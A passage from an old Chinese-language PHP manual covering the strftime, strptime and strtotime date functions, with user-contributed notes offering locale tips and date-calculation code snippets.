echo strftime(" in Finnish is %A,");
setlocale(LC_TIME, "fr_FR");
echo strftime(" in French %A and");
setlocale(LC_TIME, "de_DE");
echo strftime(" in German %A.\n");
?>
本例在你的系统中安装有各自的区域设置后才能工作。

注: %G 和 %V，如果数字编号系统未能充分理解，基于 ISO 8601:1988 的星期数可能得出未预期的结果。见上面的 %V 和以下的例子。

例子 2. ISO 8601:1988 week number example

<?php
/*     December 2002 / January 2003
ISOWk  M   Tu  W   Thu F   Sa  Su
----- ----------------------------
51     16  17  18  19  20  21  22
52     23  24  25  26  27  28  29
1      30  31   1   2   3   4   5
2       6   7   8   9  10  11  12
3      13  14  15  16  17  18  19   */

// Outputs: 12/28/2002 - %V,%G,%Y = 52,2002,2002
echo "12/28/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/28/2002")) . "\n";

// Outputs: 12/30/2002 - %V,%G,%Y = 1,2003,2002
echo "12/30/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/30/2002")) . "\n";

// Outputs: 1/3/2003 - %V,%G,%Y = 1,2003,2003
echo "1/3/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2003")) . "\n";

// Outputs: 1/10/2003 - %V,%G,%Y = 2,2003,2003
echo "1/10/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/10/2003")) . "\n";

/*     December 2004 / January 2005
ISOWk  M   Tu  W   Thu F   Sa  Su
----- ----------------------------
51     13  14  15  16  17  18  19
52     20  21  22  23  24  25  26
53     27  28  29  30  31   1   2
1       3   4   5   6   7   8   9
2      10  11  12  13  14  15  16   */

// Outputs: 12/23/2004 - %V,%G,%Y = 52,2004,2004
echo "12/23/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/23/2004")) . "\n";

// Outputs: 12/31/2004 - %V,%G,%Y = 53,2004,2004
echo "12/31/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/31/2004")) . "\n";

// Outputs: 1/2/2005 - %V,%G,%Y = 53,2004,2005
echo "1/2/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/2/2005")) . "\n";

// Outputs: 1/3/2005 - %V,%G,%Y = 1,2005,2005
echo "1/3/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2005")) . "\n";

?>

参见 setlocale()，mktime()，strptime() 以及 Open Group specification of strftime()。

add a note add a note User Contributed Notes
andy at yatescentral dot com
16-May-2006 11:47
When using strftime to generate time stamps for inclusion in  RSS feeds, be sure to use %z for the timezone (RFC-822 format) rather than %Z -- for some reason, %Z fails to validate.
posenato at sciNO dot univrSPAM dot it
15-May-2006 02:37
To partialy correct Neo's on RFC 850 date...

RFC 850 is obsolete by RFC 1036.

In HTTP header, RFC 1123 is the first choice: it has a fixed length format and 4 digits year.

Therefore, the correct format is:

gmstrftime ("%a, %d %b %Y %T %Z", time ());

Output example: Sun, 06 Nov 1994 08:49:37 GMT
Jon Keating
18-Jan-2006 09:49
Under windows if you are using Japanese version, you must use the following code:

setlocale(LC_ALL, "Japanese_Japan.20932") for EUC
setlocale(LC_ALL, "Japanese_Japan.932") for SJIS

I found the following page that helped me with this issue:
http://moodle.org/mod/forum/discuss.php?d=8329
fsc7 at yahoo dot com
28-Dec-2005 10:18
For Brazilian Portuguese language use:
setlocale(LC_ALL, 'pt_BR.iso88591');
php at REMOVEMEkennel17 dot co dot uk
20-Dec-2005 08:29
To correct an error in the above list of formatting codes:

%p - either `AM' or `PM' according to the given time value, or the corresponding strings for the current locale (note result is in capitals)
%P - either `am' or `pm' according to the given time value, or the corresponding strings for the current locale (note result is in lower case)

In addition, the following codes seem to return a value on my system (Linux, Apache/1.3.33, PHP/4.4.1), but are not documented above.  I have included the result given by passing them to gmstrftime() with a timestamp of 0 (unix epoch).  gmstrftime() was used to avoid timezone/DST differences.

%F: "1970-01-01" (appears to be an SQL-formatted version of the date)
%k: "0" (seems to be the hour in 24-hour clock, without leading zeros (space-padded))
%l: "12" (seems to be the hour in 12-hour clock, without leading zeros (space-padded))
%s: "-3600"

%s seems to be the Unix timestamp passed to the function, but somehow based on the current locale/TZ settings (even in gmstrftime()).
On my system strftime("%H:%M:%S", 0) returns "01:00:00", and strftime("%s", 0) returns "0".  Using gmstrftime() I get "00:00:00" and "-3600" respectively.
zackbloom at gmail dot com
07-Dec-2005 09:54
This function is useful for news posts.
It displays the creation date and elapsed time like:
Sunday, December 4, 2005 - 2 days ago
Monday, December 5, 2005 - Yesterday
Monday, November 28, 2005 - 1 week ago
Friday, October 28, 2005 - 6 weeks ago

function off($date){
$date = strtotime($date);
$offset = (strftime("%j")+strftime("%Y")*365)-
(strftime("%j",$date)+strftime("%Y",$date)*365);
if ($offset>7){
$offset = (strftime("%V")+strftime("%Y")*52)-
(strftime("%V",$date)+strftime("%Y",$date)*52);
$end=($offset!=0?($offset>1?$offset . " weeks ago":"a week ago"):"Today");
} else
$end=($offset!=0?($offset>1?"$offset days ago":"Yesterday"):"Today");
return strftime("%A, %B %e, %Y",$date)." - ". $end;
}

To insert the time:

<?=off("12/4/05")?>
besnikl at yahoo dot com
26-Nov-2005 04:40
Hi,

If anybody is using mambo or Joomla and strugling with the dates in Albanian Language then:

Country Locale is    sq_AL

Took me two days to figure out.

Bez
phisys at netscape dot net
16-Sep-2005 03:13
It's easy to get the current date in ISO format (YYYY-MM-DD)to insert into a date field in a database.
<? $ISOdate = strftime( "%Y-%m-%d", time() ); ?>

for other dates, better use:
<? $ISOdate = sprintf( "%04d-%02d-%02d", $year, $month, $day ); ?>
fackelkind honorsociety de
10-Aug-2005 12:01
My last post was bullshit, i gave my first version (of course the wrong one) to you.
Let me correct this:

<?php
       function &daySufix ($dayNumber = false){

               #> This function adds the 'st', 'nd', 'rd' or 'th' to a given daynumber. #

               (string) $dayNumber    = (!$dayNumber) ? strftime ("%#d") : $dayNumber;
               $sufixes                = Array ("1" => "st", "2" => "nd", "3" => "rd");
               return (isset ($sufixes[substr ($dayNumber, -1)])) ? $sufixes[substr ($dayNumber, -1)] : "th";
       }
?>
fackelkind honorsociety de
09-Aug-2005 06:28
I was sure i found a script on php.net wich add the ("st", "nd", "rd", "th") behind a daynumber, but i wasn't. So i wrote a tiny function to do that:

<?php
       function &daySufix ($dayNumber = false){
               (string) $dayNumber    = (!$dayNumber) ? strftime ("%#d") : $dayNumber;
               $sufixes                = Array ("1" => "st", "2" => "nd", "3" => "rd");
               return (isset ($sufixes[$dayNumber])) ? $sufixes[$dayNumber] : "th";
       }
?>

Use it as follow:

<?php
       echo strftime ("%A, %b. %#d" . daySufix() . " %Y");
?>
jw at jwscripts dot com
29-May-2005 09:32
The following function implements the conversion specifiers which are not supported on Win32 platforms:

(Note: the specifiers %V, %G and %g can be implemented using other functions described in this section)

<?php

function strftime_win32($format, $ts = null) {
   if (!$ts) $ts = time();

   $mapping = array(
       '%C' => sprintf("%02d", date("Y", $ts) / 100),
       '%D' => '%m/%d/%y',
       '%e' => sprintf("%' 2d", date("j", $ts)),
       '%h' => '%b',
       '%n' => "\n",
       '%r' => date("h:i:s", $ts) . " %p",
       '%R' => date("H:i", $ts),
       '%t' => "\t",
       '%T' => '%H:%M:%S',
       '%u' => ($w = date("w", $ts)) ? $w : 7
   );
   $format = str_replace(
       array_keys($mapping),
       array_values($mapping),
       $format
   );

   return strftime($format, $ts);
}

?>
patrick at codeministry dot dk
20-Apr-2005 05:50
For freebsd user:

You can find the full list of your locale under /usr/share/locale.
For example da_DK.ISO8859-1 under this directory will set up the locale to danish.
bohac at smartcat dot cz
20-Mar-2005 02:36
i had to use the czech representation of time on unix machine, running debian and linux version of apache with php 4

for me the best solution was to use this code:

<php
     setlocale(LC_ALL, 'cs_CZ.iso88592');
?>

then you can do everything in czech language with correct iso-8859-2 encoding ;D
mflaig at pro-linux dot de
22-Feb-2005 07:57
Hi there,

i had the problem that I needed all days of an week with some extra infos. given is day, month, year (selectboxes).

so I hacked this together ...

function ...
<?php
function get_weekdates($year, $month, $day){
  setlocale(LC_ALL, "C");
  //echo "Year $year<br>";
  //echo "Month $month<br>";
  //echo "Day $day<br>";

  // make unix time
  $searchdate = mktime(0,0,0,$month,$day,$year);
  //echo "Searchdate: $searchdate<br>";

  // lets get the day of week                //    on solaris <8 the first day of week is sunday, not monday
  $day_of_week = strftime("%u", $searchdate);
  //echo "Debug: $day_of_week <br><br>";

  $days_to_firstday = ($day_of_week - 1);        //    on solaris <8 this may not work
  //echo "Debug: $days_to_firstday <br>";

  $days_to_lastday = (7 - $day_of_week);        //    on solaris <8 this may not work
  //echo "Debug: $days_to_lastday <br>";

  $date_firstday = strtotime("-".$days_to_firstday." days", $searchdate);
  //echo "Debug: $date_firstday <br>";

  $date_lastday = strtotime("+".$days_to_lastday. " days", $searchdate);
  //echo "Debug: $date_lastday <br>";

  $d_result = "";                    // array to return

  // write an array of all dates of this week
  for($i=0; $i<=6; $i++) {
   $y = $i + 1;
   $d_date = strtotime("+".$i." days", $date_firstday);

   // feel free to add more values to these hashes
   $result[$y]['year'] = strftime("%Y", $d_date);
   $result[$y]['month'] = strftime("%m", $d_date);
   $result[$y]['day'] = strftime("%d", $d_date);
   $result[$y]['dayname'] = strftime("%A", $d_date);
   $result[$y]['shortdayname'] = strftime("%a", $d_date);
   $result[$y]['sqldate'] = strftime("%Y-%m-%d", $d_date);
  }

  return $result;                    // return the array
}
?>

so you can read all this by doing something like that:

<?php
  $week = get_weekdates($year,$month,$day);

  for($i = 1; $i<=7 ; $i++) {

   echo 'Year: ' . $week[$i]['year'] . '<br>';
   echo 'Month: ' . $week[$i]['month'] . '<br>';
   echo 'Day: ' . $week[$i]['day'] . '<br>';
   echo 'Longname: ' . $week[$i]['dayname'] . '<br>';
   echo 'Shortname: ' . $week[$i]['shortdayname'] . '<br>';
   echo 'Sqldate: ' . $week[$i]['sqldate'] . '<br>';
   echo '<br>';

  }
?>

I hope this helpes someone out there ...
... notes and improvements welcome (via email / pgp preferred)

Note: It does not work on Slowlaris <8 because of the %u problem (see the other posting for further details)

for Windows and solaris you may check out the posting of vesa dot kivisto at nepton dot fi ....

this code was inspired by pb at _remove_ pedal dot dk s code

Have a nice day (night || whatever),

mfl
Aaron
26-Jan-2005 05:10
%k will give you %H (hour, 24-hour clock) with the leading zero replaced by a space.  I have only tested this on one linux system so far, it may not work on windows or other linux builds.
james at oicgroup dot net
20-Nov-2004 11:27
In looking for a way to trim the leading zero from a 12 hour time format (08:30 PM for instance), we happened upon %l (lowercase L) quite by accident.  It replaces the leading zero with a space similiar to what %e does with dates, so you get 8:30 PM instead of 08:30 PM.
michiel1978 at hotmail dot com
07-Oct-2004 05:31
As said in these comments, Windows strftime() doesn't support %e. However, to achieve a similar effect (not 100%) you can use %#d. The # flag will remove the leading zero, so you do get single digits, but without the space that would be added by %e in other environments.
neo at gothic-chat d0t de
25-Jun-2004 02:27
To get a RFC 850 date (used in HTTP) of the current time:

gmstrftime ("%A %d-%b-%y %T %Z", time ());

This will get for example:
Friday 25-Jun-04 03:30:23 GMT

Please note that times in HTTP-headers _must_ be GMT, so use gmstrftime() instead of strftime().
bigfoot at spido dot dk
17-Jun-2004 09:12
The %e "bug" in strftime on Windows systems can be fixed this way...

<?

setlocale(LC_TIME, 'da');

$var1 = strftime("%A den ");

function strftime_e_fix(){

   $var = strftime("%d");

   if($var{0} == 0){$var = $var{1};}

   return($var);

}

$var1 .= strftime_e_fix();

$var1 .= strftime(". %B, %Y");

echo $var1;

?>
adan at cr72 dot com
10-Jun-2004 07:48
For Spanish:
<?
setlocale(LC_ALL, "sp");
echo strftime("%d. %B %Y");
?>
verhoeff
15-Apr-2004 06:54
The locale for dutch on a win2k computer is not "nl_NL"
but "dutch".
php_manual at it-rex dot nl
29-Mar-2004 09:31
In the strftime override-function of rickenmeer at hotmail dot com there is an error.

The line:
  $year = 1969;
should read:
  $year = 1970;
rolex
26-Mar-2004 12:37
Searching for translation from IBASE-Timestamp to EU-Dateformat DD.MM.YYYY

strftime("%d.%m.%Y",strtotime($row->START_TIMESTAMP));

Maybe it's useful for somebody ;-)
pb at _remove_ pedal dot dk
22-Feb-2004 11:51
Ever wanted to find the first and last dates in a given week? i.e. you have a week number and a year, what date has the first and last days in that week respectively? Below is a function that does just that. You feed it with a week/year and it returns an array with first and last day:

function mk_week_to_dates($week, $year){
       //We start some time into prev year
       $searchdate = mktime(0,0,0,12,20,$year-1);
       //Then we advance $week-1 weeks ahead (no need to search through dates we know won't give results)
       $searchdate = strtotime("+".($week-1)." week",$searchdate);

       $found=false;
       while ($found==false){
               if (date("W",$searchdate) == $week)
                       $found = true;
               else
                       $searchdate = strtotime("+1 day",$searchdate);
       }

       $weekdates['firstday'] = $searchdate;

       $weekdates['lastday'] = strtotime("+6 day",$searchdate);
       return $weekdates;
}
rickenmeer at hotmail dot com
13-Jan-2004 12:10
This override for strftime was created to cope with the date limits on Win32 (1970-2037). Current mappings and allows you to calculate daylight savings time etc. for 1902-1969, feel free to add more mappings!

<?PHP
function &strftime ($format = "", $timestamp = false)
{
   if ($timestamp >= 0 && $timestamp <= 2147480047)
   { // between 1 Jan 1970 00:00:00 and 19 Jan 2038 03:14:07 GMT
       return strftime ($format, $timestamp);
   }

   $mappings = Array (
       Array ("start" => 1902, "end" => 1951, "map" => 1986), // 1902-1951 = 1986-2035
       Array ("start" => 1952, "end" => 1969, "map" => 1980), // 1952-1969 = 1980-1997
   );

   if ($timestamp < 0)
   {
       $year = 1969;
       while ($timestamp < 0)
       {
           $days = ($year % 4 == 0 && ($year % 100 > 0 || $year % 400 == 0)) ? 366 : 365;
           $timestamp += $days * 86400;
           $year--;
       }
   }
   else // if ($timestamp > 2147480047)
   {
       $year = 2038;
       while ($timestamp > 0)
       {
           $days = ($year % 4 == 0 && ($year % 100 > 0 || $year % 400 == 0)) ? 366 : 365;
           $timestamp -= $days * 86400;
           $year++;
       }
   }

   foreach ($mappings as $mapping)
       if ($year >= $mapping["start"] && $year <= $mapping["end"])
       {
           $find = Array ("%y", "%Y", "%D");
           $replace = Array (substr ($year, -2), $year, "%m/%d/" . substr ($year, -2));
           $format =& str_replace ($find, $replace, $format);
           $map_from_1970 = mktime (0, 0, 0, 1, 1, $mapping["map"]);
           return strftime ($format, $timestamp + $map_from_1970);
       }

   return "strftime (): Year not mapped yet: " . $year;
}
?>
shaun at nospam dot phplabs dot com
14-Mar-2003 08:03
I recently needed a way to find the first second of the current week. The catch was that strftime("%u") considers Monday as the first day of the week, whereas I needed things based on Sundays.

My solution was to determine how many days had elapsed since the previous Sunday (0 if today is a Sunday), and subtract that may days from the current day's midnight timestamp:

$weekstart = mktime(0, 0, 0, date("m"), date("d"), date("Y")) - ((strftime("%u") == 7) ? 0 : (86400 * strftime("%u")));

This will assign the epoch stamp of the most recent Sunday at 00:00 (today at 00:00, if today is a Sunday) to $weekstart.
pb at pedal dot dk
22-Dec-2002 12:37
I am truly sorry - I contributed with a script to overcome the missing %V for Windows-users. It contained a serious flaw, that prohibited in some cases. Below is a script, that should work in all cases. I have tested it on most outer cases, e.g. 2005/12/31 and 2006/01/01.

function ISOWeek($y, $m, $d)
{
$week=strftime("%W", mktime(0, 0, 0, $m, $d, $y));
$dow0101=getdate(mktime(0, 0, 0, 1, 1, $y));
$next0101=getdate(mktime(0, 0, 0, 1, 1, $y+1));

 if ($dow0101["wday"]>1 &&
   $dow0101["wday"]<5)
   $week++;
 if ($next0101["wday"]>1 &&
   $next0101["wday"]<5 &&
     $week==53)
   $week=1;
 if ($week==0)
   $week = ISOWeek($y-1,12,31);

 return(substr("00" . $week, -2));
}

Regards
vminarik at ips-ag dot cz
10-Sep-2001 09:02
Note that setting LC_TIME is not enough for some locales under Windows, e.g. Czech, because there are some characters not contained in default (US) character set like '' (c with hook), '' (r with hook).

If you run Apache as regular application and have set your locale to Czech (ControlPanel/RegionalOptions), there is no problem and 'September' is correctly translated as 'z', 'Thursday' as 'tvrtek'.
But if you run Apache as service, you get 'zr', and 'ctvrtek'.
To get things work as you expect you must set LC_CTYPE beside LC_TIME, or set LC_ALL.

<?
  $locale = 'Czech_Czech.1250';
  $res = setlocale( 'LC_CTYPE', $locale); //important
  $res = setlocale( 'LC_TIME', $locale);
  echo strftime( '%A %m. %B %Y', mktime( 0,0,0,9,6,2001));
?>
verdy_p at wanadoo dot fr
22-Jul-2001 08:33
Beware of '%D':
the comment shown expects that this is the same as '%m/%d/%y'.

This is wrong: '%D' is only expected to returned an abbreviated numeric date according to the current locale:
In the German locale '%D' is '%y.%m.%d'
In the French locale '%D' is '%d/%m/%y'

The locale rules still apply to %D as with '%A'...

Beware that some C libraries do not support '%D' and/or '%A'  or do not support them accordingly. Using strftime() is then system-dependant, because PHP use the C function provided by the system on which it runs.
spamyenot at example dot com
19-Jul-2001 02:09
Solaris 2.6 and 7 define the
%u specifier differently than noted here. Day 1 is Sunday, not Monday. Solaris 8 gets it right.

Jim
zmajeed at cup dot hp dot com
23-Jul-1999 06:14
Locale names are OS dependent. HP-UX 11.0, for example, has three
German locales, de_DE.roman8, de_DE.iso88591, and
de_DE.iso885915@euro.
The command locale -a will display all available locales on a system.

So on HP-UX, to get German dates:
setlocale("LC_TIME", "de_DE.roman8");
print(strftime("%A\n"));
add a note add a note

后退 | 起点 | 前进
mktime | 上一级 | strptime


strptime

(PHP 5 >= 5.1.0RC1)

strptime -- 解析由 strftime() 生成的日期／时间

说明

array strptime ( string date, string format )

strptime() 返回一个将 date 解析后的数组，如果出错返回 FALSE。

月份和星期几的名字以及其它与语种有关的字符串对应于 setlocale()设定的当前区域（LC_TIME）。

参数

date（string）

被解析的字符串（例如从 strftime() 返回的）

format（string）

date 所使用的格式（例如同 strftime() 中所使用的相同）。

更多有关格式选项的信息见 strftime() 页面。

返回值

返回一个数组，失败则返回 FALSE。

表格 1. 数组中包含以下单元

键名 | 说明
tm_sec | 当前分钟内的秒数（0-61）
tm_min | 当前小时内的分钟数（0-59）
tm_hour | 午夜起的小时数（0-23）
tm_mday | 月份中的第几天（1-31）
tm_mon | 自一月起过了几个月（0-11）
tm_year | 自 1900 年起过了几年
tm_wday | 自星期天起过了几天（0-6）
tm_yday | 本年自一月一日起过了多少天（0-365）
unparsed | date 中未能通过指定的 format 识别的部分

范例

例子 1. strptime() 例子

<?php
$format = '%d/%m/%Y %H:%M:%S';
$strf = strftime($format);

echo "$strf\n";

print_r(strptime($strf, $format));
?>

上例的输出类似于：

03/10/2004 15:54:19

Array
(
    [tm_sec] => 19
    [tm_min] => 54
    [tm_hour] => 15
    [tm_mday] => 3
    [tm_mon] => 9
    [tm_year] => 104
    [tm_wday] => 0
    [tm_yday] => 276
    [unparsed] =>
)

参见

strftime()

add a note add a note User Contributed Notes
jojyjob at gmail dot com
13-May-2006 03:18
/***Finding the days of a week ***/

<?php

$out = pre();
$outpre=nextweek();
$td=date("Y-m-d");
$result = array_reverse($outpre);
//print_r($result);
array_push($result,$td);
$newarray = array_merge($result,$out);

  foreach($newarray as $date1){
   echo $date1;
   echo "<br>";
 }

//print_r($out);
//print_r($newarray);

function pre()
{
$monP=0;
$tueP=1;
$wedP=2;
$thuP=3;
$friP=4;
$satP=5;
$sunP=6;

$td=date("Y-m-d");
//echo $td;
$tdname=date("l");
  switch($tdname)
  {
   case "Monday":
       $rep=$monP;
       break;
   case "Tuesday":
       $rep=$tueP;
       break;
   case "Wednesday":
       $rep=$wedP;
       break;
   case "Thursday":
       $rep=$thuP;
       break;
   case "Friday":
       $rep=$friP;
       break;
   case "Saturday":
       $rep=$satP;
       break;
   case "Sunday":
       $rep=$sunP;
       break;
   default:
       echo "Sorry";
  }

//echo $tdname."<br>";
//echo $rep;
$datstart =$td;  /* the starting date */
//$rep = 12;  /* number of future dates to display */
$nod = 1;  /* number of days in the future to increment the date */
$nom = 0;  /* number of months in the future to increment the date */
$noy = 0;  /* number of years in the future to increment the date */
$precon=future_date($datstart,$rep,$nod,$nom,$noy);
return $precon;
}
function future_date($datstart,$rep,$nod,$nom,$noy) {
 $pre = array();
  while ($rep >= 1) {
   $datyy=substr($datstart,0,4);
   $datmm=substr($datstart,5,2);
   $datdd=substr($datstart,8,2);
   $fda=$datdd - $nod;
   $fmo=$datmm - $nom;
   $fyr=$datyy -$noy;
   $dat1=date("Y-m-d", mktime(0,0,0,$fmo,$fda,$fyr))."<BR>";
   array_push($pre,$dat1);
   //echo $dat1;
   $datstart=$dat1;
   $rep--;
  }
  return $pre;
}

function nextweek()
{
$monN=6;
$tueN=5;
$wedN=4;
$thuN=3;
$friN=2;
$satN=1;
$sunN=0;

$td=date("Y-m-d");
$tdname=date("l");
  switch($tdname)
  {
   case "Monday":
       $rep=$monN;
       break;
   case "Tuesday":
       $rep=$tueN;
       break;
   case "Wednesday":
       $rep=$wedN;
       break;
   case "Thursday":
       $rep=$thuN;
       break;
   case "Friday":
       $rep=$friN;
       break;
   case "Saturday":
       $rep=$satN;
       break;
   case "Sunday":
       $rep=$sunN;
       break;
   default:
       echo "Sorry";
  }

//echo $tdname."<br>";
//echo $rep;
$datstart =$td;  /* the starting date */
//$rep = 12;  /* number of future dates to display */
$nod = 1;  /* number of days in the future to increment the date */
$nom = 0;  /* number of months in the future to increment the date */
$noy = 0;  /* number of years in the future to increment the date */

$con = future_date1($datstart,$rep,$nod,$nom,$noy);
return $con;
}

function future_date1($datstart,$rep,$nod,$nom,$noy) {
 $pre = array();
  while ($rep >= 1) {
   $datyy=substr($datstart,0,4);
   $datmm=substr($datstart,5,2);
   $datdd=substr($datstart,8,2);
   $fda=$datdd + $nod;
   $fmo=$datmm + $nom;
   $fyr=$datyy + $noy;
   $dat1=date("Y-m-d", mktime(0,0,0,$fmo,$fda,$fyr))."<BR>";
   array_push($pre,$dat1);
   //echo $dat1;
   $datstart=$dat1;
   $rep--;
  }
  return $pre;
}

?>
Malte Starostik
28-Mar-2006 02:45
It says "Parse a time/date generated with strftime()" but that's not entirely correct -- While strptime("2006131", "%Y%W%u") works as expected, strptime("2006131", "%G%V%u") returns false instead of reversing the equivalent - and unambiguous - strftime() usage.  I suspect that's because glibc doesn't support that.  Anyway, this docu page fails to mention that apparently not all format components supported by strftime() can be used with strptime().
erik at ackerholm dot se
04-Feb-2006 06:55
Note that elements that are not found (since they don't exist in the specified format) will NOT be set to null.

Also a two-digit-year (found with %y) is returned as 1969-2068 (or 69-168 since this function returns years since 1900).

<?php
$format = '%y-%m-%d';
$testdate = '69-04-03';
$founddate = strptime ($testdate, $format);
var_dump ($founddate);
?>

returns

array(9) {
  ["tm_sec"]=>
  int(-1212975008)
  ["tm_min"]=>
  int(28)
  ["tm_hour"]=>
  int(140)
  ["tm_mday"]=>
  int(3)
  ["tm_mon"]=>
  int(3)
  ["tm_year"]=>
  int(69)
  ["tm_wday"]=>
  int(4)
  ["tm_yday"]=>
  int(92)
  ["unparsed"]=>
  string(0) ""
}
add a note add a note

后退 | 起点 | 前进
strftime | 上一级 | strtotime


strtotime

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

strtotime -- 将任何英文文本的日期时间描述解析为 Unix 时间戳

说明

int strtotime ( string time [, int now] )

本函数预期接受一个包含美国英语日期格式的字符串并尝试将其解析为 Unix 时间戳（自 January 1 1970 00:00:00 GMT 起的秒数），其值相对于 now 参数给出的时间，如果没有提供此参数则用系统当前时间。

本函数将使用 TZ 环境变量（如果有的话）来计算时间戳。自 PHP 5.1.0 起有更容易的方法来定义时区用于所有的日期／时间函数。此过程在 date_default_timezone_get() 函数页面中有说明。

注: 如果给定的年份是两位数字的格式，则其值 0-69 表示 2000-2069，70-100 表示 1970-2000。

参数

time

被解析的字符串，格式根据 GNU Date Input Formats 语法

now

用来计算返回值的时间戳

返回值

成功则返回时间戳，否则返回 FALSE。在 PHP 5.1.0 之前本函数在失败时返回 -1。

更新日志

版本 | 说明
5.1.0 | 失败时返回 FALSE，不再是 -1。

范例

例子 1. strtotime() 例子

<?php
echo strtotime("now"), "\n";
echo strtotime("10 September 2000"), "\n";
echo strtotime("+1 day"), "\n";
echo strtotime("+1 week"), "\n";
echo strtotime("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime("next Thursday"), "\n";
echo strtotime("last Monday"), "\n";
?>

例子 2. 失败检查

<?php
$str = 'Not Good';

// previous to PHP 5.1.0 you would compare with -1, instead of false
if (($timestamp = strtotime($str)) === false) {
    echo "The string ($str) is bogus";
} else {
    echo "$str == " . date('l dS of F Y h:i:s A', $timestamp);
}
?>

注释

警告

在 PHP 5 中到 5.0.2 之前，"now" 和其它相对时间从今天午夜起错误计算了。这和正确从当前时间起计算的其它版本不同。

注: 有效的时间戳通常从 Fri, 13 Dec 1901 20:45:54 GMT 到 Tue, 19 Jan 2038 03:14:07 GMT（对应于 32 位有符号整数的最小值和最大值）。不是所有的平台都支持负的时间戳，那么日记范围就被限制为不能早于 Unix 纪元。这意味着在 1970 年 1 月 1 日之前的日期将不能用在 Windows，一些 Linux 版本，以及几个其它的操作系统中。不过 PHP 5.1.0 及更新的版本克服了此限制。

参见

strptime()

add a note add a note User Contributed Notes
d_spagnoli at yahoo dot it
11-May-2006 06:18
The GNU manual page has moved, the new address is

http://www.gnu.org/software/shishi/ manual/html_node/Date-input-formats.html
francesco at pnpitalia dot it
30-Apr-2006 01:09
modifies function of Jae Lee, this one support dates without separator like "20060401", it return a "string" not a "timestamp"
<?php
/**
 * Returns a formatted date from a string based on a given format
 *
 * Supported formats
 *
 * %Y - year as a decimal number including the century
 * %m - month as a decimal number (range 1 to 12)
 * %d - day of the month as a decimal number (range 1 to 31)
 *
 * %H - hour as decimal number using a 24-hour clock (range 0 to 23)
 * %M - minute as decimal number
 * %s - second as decimal number
 * %u - microsec as decimal number
 * @param string date  string to convert to date
 * @param string format expected format of the original date
 * @return string rfc3339 w/o timezone YYYY-MM-DD YYYY-MM-DDThh:mm:ss YYYY-MM-DDThh:mm:ss.s
 */
function parseDate( $date, $format ) {
  // Builds up date pattern from the given $format, keeping delimiters in place.
  if( !preg_match_all( "/%([YmdHMsu])([^%])*/", $format, $formatTokens, PREG_SET_ORDER ) ) {
   return false;
  }
  foreach( $formatTokens as $formatToken ) {
   $delimiter = preg_quote( $formatToken[2], "/" );
   if($formatToken[1] == 'Y') {
     $datePattern .= '(.{1,4})'.$delimiter;
   } elseif($formatToken[1] == 'u') {
     $datePattern .= '(.{1,5})'.$delimiter;
   } else {
     $datePattern .= '(.{1,2})'.$delimiter;
   }
  }

  // Splits up the given $date
  if( !preg_match( "/".$datePattern."/", $date, $dateTokens) ) {
   return false;
  }
  $dateSegments = array();
  for($i = 0; $i < count($formatTokens); $i++) {
   $dateSegments[$formatTokens[$i][1]] = $dateTokens[$i+1];
  }

  // Reformats the given $date into rfc3339

  if( $dateSegments["Y"] && $dateSegments["m"] && $dateSegments["d"] ) {
   if( ! checkdate ( $dateSegments["m"], $dateSegments["d"], $dateSegments["Y"] )) { return false; }
   $dateReformated =
     str_pad($dateSegments["Y"], 4, '0', STR_PAD_LEFT)
     ."-".str_pad($dateSegments["m"], 2, '0', STR_PAD_LEFT)
     ."-".str_pad($dateSegments["d"], 2, '0', STR_PAD_LEFT);
  } else {
   return false;
  }
  if( $dateSegments["H"] && $dateSegments["M"] ) {
   $dateReformated .=
     "T".str_pad($dateSegments["H"], 2, '0', STR_PAD_LEFT)
     .':'.str_pad($dateSegments["M"], 2, '0', STR_PAD_LEFT);

   if( $dateSegments["s"] ) {
     $dateReformated .=
       ":".str_pad($dateSegments["s"], 2, '0', STR_PAD_LEFT);
     if( $dateSegments["u"] ) {
       $dateReformated .=
       '.'.str_pad($dateSegments["u"], 5, '0', STR_PAD_RIGHT);
     }
   }
  }

  return $dateReformated;
}
?>
Michal Till
19-Apr-2006 10:52
Warning, for example in Czech, we use the month-day-year order, for example 17. 5. 2006 for the 17th of May. This needs to be converted to day-month-year for example, otherwise it will be interpreted as the 5th day in 17th month, returning -1.
jacques dot malan at gmail dot com
11-Apr-2006 07:08
I have had some inconsistancies that was not immediately evident and suggested that strtotime treated my date formats in different ways.
I had trouble with the date format: d/m/Y

I eliminated the inconsistancies by changing the date format to one where (i guess) php does not try and guess the right format. In my case I changed it to the format (d-M-Y) in which case it worked.

Example when trying to find a person's age where:

//$date in format (d/m/Y) was inconsistant but fixed when in format (d-M-Y), e.g. (01-January-2001)

$age = (time() - strtotime($date))/(60*60*24*360);
logistiker
25-Mar-2006 01:27
strtotime is a great function assuming you use 64-bit libraries.  If you don't and you try to use dates outside the 32-bit timestamp, then it's totally useless.  Here's a function that can manipulate years, months and days for an actual date:

function dateAdd($dateValue, $number = 1, $datePart = 'd', $inputDateFormat = 'ymd', &$parsedDate = false){
   //return false if date value is not a date
   if (! isDate($dateValue, $inputDateFormat, $arrDate)) return false;
   //if $number is a decimal, just round to the nearest integer
   if (! is_int($number)) $number = round($number);
   $currentYear = $arrDate['year'];
   $currentMonth = $arrDate['month'];
   $currentDay = $arrDate['day'];
   switch ($datePart){
       case 'y':
           $currentYear = $arrDate['year'] + $number;
       break;
       case 'm':
           $currentYear += ($number < 0) ? ceil($number / 12) : floor($number / 12);
           $currentMonth += $number % 12;
           if ($currentMonth <= 0) $currentMonth += 12;
           if ($currentMonth > 12){
               $currentMonth -= 12;
               $currentYear++;
           }
           //Convert the year to 4 digits so the isDate function will validate the date (only validates 4 digit years)
           $currentYear = toIsoYear($currentYear);
           //If the day doesn't exist in the next month then decrement to the last day of the month
           while (! isDate("$currentYear-$currentMonth-$currentDay")) $currentDay--;
       break;
       case 'd':
           $numLoopDays = abs($number);
           for ($i = 0; $i < $numLoopDays; $i++){
